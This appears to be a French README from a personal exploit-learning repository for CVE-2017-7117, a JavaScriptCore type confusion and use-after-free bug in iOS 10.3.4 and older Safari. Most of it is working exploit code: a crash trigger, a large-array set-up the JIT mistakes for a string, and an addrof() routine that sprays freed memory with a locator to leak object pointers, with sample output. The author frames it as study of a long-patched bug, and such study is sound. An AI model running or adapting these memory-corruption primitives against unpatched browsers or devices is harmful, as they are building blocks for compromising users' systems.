
Exploit éducatif pour CVE-2017-7117, une vulnérabilité de type-confusion et use-after-free dans iOS 10.3.4 JavaScriptCore, démontrant des techniques de memory spraying et d'address leak.
Une confusion de type et une UAF trouvées dans iOS 10.3.4 et versions antérieures, Safari avant 11.0.
CVE-2017-7117: mitre.org
Découvert par @lokihardt, source: Google Project Zero
function f() {
let o = {};
for (let i in {xx: 0}) { // i is a String
for (i of [0]) { // i is now a number, but JIT treats as String
}
print(o[i]); // whoops
}
}
f();
L'exécution du code ci-dessus provoquera un plantage de JSC.
Nous créons un grand tableau arr, que le compilateur JIT va confondre en croyant qu'il s'agit d'une chaîne.
var arr = new Uint32Array(1 * 1024 * 1024 / 4); // 1mb | 1 item == 4 bytes
arr[4] = 0xb0; // to pass checks for the member m_hashAndFlags
Lorsque la référence à i est perdue, nous conservons l'accès au tableau original arr et pouvons lire la mémoire sous-jacente.
En aspergeant une valeur connue, nous pouvons la trouver et remonter pour localiser le pointeur de n'importe quel objet.
function addrof(obj) {
// search the freed array for this number
var locator = 0x1337;
// spray the freed memory with the locator
var sprays = [];
for (var i = 0; i < 0x1000; ++i) {
sprays.push(i % 2 == 0 ? locator : obj);
}
// find the first instance of the locator
var found = null;
for(var i = 0; i < arr.length; i++) {
if(arr[i] == locator) {
found = i
break
}
}
// the pointer for the object is 3 and 2 indicies after the locator
return found && [arr[found + 3], arr[found + 2]]
}
Les valeurs sont accédées en mémoire via un Uint32Array, bits de poids faible en premier, bits de poids fort en second.
let target = {
foo: "bar"
}
let address = addrof(target)
// address: 0x0000ffff8d178e60
Vous pouvez vérifier que l'adresse est valide en utilisant describe()
print(describe(target))
// Object: 0xffff8d178e60 with butterfly (nil) (0xffff9099bba0:[Object, {foo:0}, NonArray, Proto:0xffff909b00a0, Leaf]), ID: 244
Testé actuellement sur:
Ne fonctionne pas (encore) sur iPhone 5, iOS 10.3.4. Découvrons pourquoi ...
Ce dépôt est fourni comme ressource éducative pour suivre mon apprentissage du développement d'exploits. Cette CVE a été corrigée depuis plus de 7 ans. N'utilisez PAS ceci à des fins malveillantes, évidemment.